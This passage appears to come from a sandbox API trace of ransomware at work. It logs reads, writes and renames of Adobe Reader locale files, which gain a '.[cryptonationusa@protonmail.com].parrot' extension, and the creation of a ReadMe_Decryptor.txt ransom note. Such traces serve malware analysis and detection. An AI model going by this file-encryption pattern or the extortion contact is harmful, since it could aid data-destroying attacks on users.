nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6000, lpOverlapped=0x0) returned 1 [0253.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.087] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0253.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.087] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.087] GetLastError () returned 0x0 [0253.088] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32aa5c8 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32aed18 [0253.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0253.089] WriteFile (in: hFile=0x1b0, lpBuffer=0x32aed20*, nNumberOfBytesToWrite=0x6128, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32aed20*, lpNumberOfBytesWritten=0x18e8f4*=0x6128, lpOverlapped=0x0) returned 1 [0253.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aed18 | out: hHeap=0x5b0000) returned 1 [0253.093] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.093] CloseHandle (hObject=0x1b0) returned 1 [0253.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0253.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x329d2b0 [0253.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.093] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329d2b0 | out: hHeap=0x5b0000) returned 1 [0253.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0253.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0253.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0253.096] GetFileType (hFile=0x1b0) returned 0x1 [0253.096] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0253.108] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0253.110] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.110] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0253.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.111] GetLastError () returned 0x0 [0253.111] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0253.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0253.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32aa5c8 [0253.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0253.113] WriteFile (in: hFile=0x1b0, lpBuffer=0x32aa5e0*, nNumberOfBytesToWrite=0x4128, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32aa5e0*, lpNumberOfBytesWritten=0x18e8f4*=0x4128, lpOverlapped=0x0) returned 1 [0253.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0253.116] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0253.116] CloseHandle (hObject=0x1b0) returned 1 [0253.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0253.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32dca28 [0253.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0253.116] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\sendmail.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0253.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32dca28 | out: hHeap=0x5b0000) returned 1 [0253.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0253.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0253.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0253.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0253.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0253.120] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0253.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0253.120] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.120] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0253.120] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0253.120] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0253.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.121] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0253.121] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0253.123] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.124] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9480, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9480, lpOverlapped=0x0) returned 1 [0253.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0253.125] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0253.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0253.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0253.125] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0253.125] GetLastError () returned 0x0 [0253.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0253.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0253.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x3277be8 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3277be8 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0253.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0253.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 